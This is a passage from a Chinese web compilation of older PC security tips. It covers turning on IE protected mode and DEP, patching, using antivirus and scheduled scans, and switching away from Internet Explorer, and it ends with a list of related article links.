进入工具菜单,点击Internet选项,在高级中确保启动保护模式(XP SP3以后的版本默认项)。
IE 6中的数据执行保护(DEP)设置:
设置IE6中的数据执行保护:1、右键我的电脑,进入“属性”菜单;2、选择“高级”选项;3、点击性能后的“设置”功能;4、进入“数据执行保护”选项卡;5、点击应用,保存即可,
当然,启动保护模式和DEP是长远的安全措施,如果你还不满足,还有其他加强IE安全的方法.
其一,尽量减少以管理员身份使用电脑,采用普通用户账号登陆。如此一来,涉及敏感安全的操作都会被系统禁止。
其二,将IE设置为高安全级别。很多人觉得高安全级别太过繁琐,但是在新版IE 中的“自定义”功能,可以让用户选择一个合适的安全水平。
建立完备的安全体系:
除了上述IE安全设置外,电脑的安全体系中还包括:1、每周二,Windows系统都会弹出更新提示。Windows Update是微软提供的自动更新工具,我们通过它来扩展系统功能、修补漏洞、让系统支持更多的软硬件;2、选择一款合适的杀毒软件也是必不可少的。
最彻底的方式:放弃使用IE
由于漏洞只存在于IE中,所以最彻底的方法就是放弃使用IE。浏览器市场中,还有众多非IE内核的产品,比如Firefox、Chrome、Safari等,上述产品的性能都不输于IE。另外,非IE用户还可以通过IE Tab插件,实现兼容的功能。
目前,微软安全部门正在24小时加紧修复漏洞代码,新的安全补丁预计不久后就可发布给用户。
篇5:杀毒也要讲科学 杀软使用两大通用准则病毒防范
大多数人认为,杀毒软件只要能杀毒就行,不讲究什么技巧,其实不然,掌握了杀毒软件的使用技巧,实际就是掌握了一种正确的或是更有效的杀毒方法。而合理的安排杀毒软件的使用方法和方式,可以更好的维护你的系统不受侵害。
1、多种查杀方式
杀毒软件比较全面地提供了“发现病毒时的处理方式、遇到无法清除病毒时的处理方式、查毒结束时的处理方式”等等,对于使用病毒防火墙和定时查毒等方法,可以采用不同的组合,实现最佳的查毒效果,
一般情况下,发现病毒时,应询问后再处理;无法清除病毒时,不再做处理;查毒结束时,返回控制中心。还有一种情况,如果你下班了或是有事出去,希望利用这段时间来检测病毒,那就可以采用查毒结束时,关闭计算机的方式。
2、定时查毒好处多
如今大硬盘,杀毒再快,时间也是较长的。于是定时查毒就派上用场了,你可以固定一个你休息的时候查毒,不用经历长时间的等待,到时候就帮你解决了。定时查毒还有另一个功效,帮你记住一些难以忘却的日子,比如4月26日CIH发作日等。
此外,软件的升级周期是一周一次,所以建议定时查毒的周期也是每周一次,一升级就查一遍,保证安全。
★ 网络安全试题
★ 计算机系毕业论文
【纯ASM编写的病毒供学习使用病毒防范(精选5篇)】相关文章:
ghost.exe病毒的解决方法2022-04-29
关于Linux下病毒的话题Windows系统2022-06-12
网络上演“木马屠城”疑是有组织犯罪活动2023-04-10
计算机通信毕业论文2022-08-06
计算机毕业论文范文模板2023-10-18
计算机毕业论文范文2024-02-01
银行信息稿范文2022-09-03
网络信息安全自查报告2024-01-25
网络自查报告2022-07-20
影响本科毕业论文质量2023-03-31